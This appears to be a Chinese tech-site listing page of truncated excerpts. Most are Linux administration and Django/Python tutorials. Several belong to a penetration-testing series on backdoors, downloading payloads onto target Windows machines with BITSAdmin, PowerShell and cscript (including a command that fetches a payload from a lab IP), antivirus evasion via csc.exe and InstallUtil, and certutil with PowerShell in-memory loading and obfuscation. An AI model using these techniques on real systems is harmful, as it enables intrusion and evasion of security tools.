第四章：CentOS的系统用户与用户组管理 更改文件或文件目录的权限 如何创建一个不允许登录的账号(仅供某个后台服务使用) 为系统设置管理员账号，避免使用root账号造成误操作 添加或删除某个用户组的成员 第四章：CentOS的系统用户与用户组管理 更改文件或文件目录的权限 groupadd 增加一个用户组 chgrp 更改所属组 ...

第四季是一个过渡季，过渡后门在对抗升级中由传统后门，衍生成锁定目标的制定后门。引用百度百科的“后门程序”的相关解释： https://baike.baidu.com/item/%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F/108154 安全从业人员，其实至少一直在与传统后门对抗，比如最常见的webshell免杀与w...

微软官方做出如下解释： BITSAdmin是一个命令行工具，可用于创建下载或上传并监视其进度。 具体相关参数参见官方文档： https://docs.microsoft.com/zh-cn/windows/desktop/Bits/bitsadmin-tool 自 windows7 以上版本内置 bitsadmin，它可以在网络不稳定的...

链接 requests库 比较json/dictionary的库 defaultdict 模块和 namedtuple 模块

down.ps1: 附： down.ps1: 附： 自 Windows7 以后内置了 powershell，如Windows 7 中内置了 PowerShell2.0, Windows 8 中内置了 PowerShell3.0。 靶机：windows 7 powershell $PSVersionTable down.ps1: 基于Syst...

读取： 附代码： 写入： 附代码： windows 全版本都会默认支持 js，并且通过cscript 来调用达到下载 payload 的目的。 靶机： windows 2003 读取： C : \test > cscript / nologo downfile . js http :// 192.168 . 1.115 / robot...

第四部分：常见因特网服务器架设 第四部分：常见因特网服务器架设 讲到因特网服务器，你第一个会想到的应该就是 WWW 还有 FTP 吧！但其实还有一个更重要的你可能会不知道他的存在， 那就是 DNS ！这才是重点中的重点～因为我们都是使用主机名来联机的嘛！这部份一定会使用到 DNS 服务器，因此我们当然要了解一下。 最后再跟大家报告邮件服务器！这些服务...

介绍相关概念： csc.exe： InstallUtil.exe： demo1： demo2： payload 分离免杀思路第一季是专门针对 x32 系统，以及针对 xp 包括以下版本。而在实战中，目标机器多为 Windows7 以上版本。而服务器以 x64 位居多。在第一季中，借助了非微软自带第三方来执行 Shellcode，这一季采取调用微软...

第八季中提到了 certutil 的加密与解密。 C : \>certutil - encode c : \downfile . vbs downfile . bat 而配合 powershell 的内存加载，则可把 certutil 发挥更强大。 靶机：windows 2012 而今天需要的是一款 powershell 的混淆框架的...

创建你的第一个 Django 项目， 第四部分 编写一个简单的表单 使用通用视图：代码还是少点好 改良 URLconf 改良视图 创建你的第一个 Django 项目， 第四部分 这一篇从 第三部分（zh） 结尾的地方继续讲起。我们将继续编写投票应用，本章着力于简单的表单处理和精简我们的代码。 编写一个简单的表单 让我们更新一下在上一...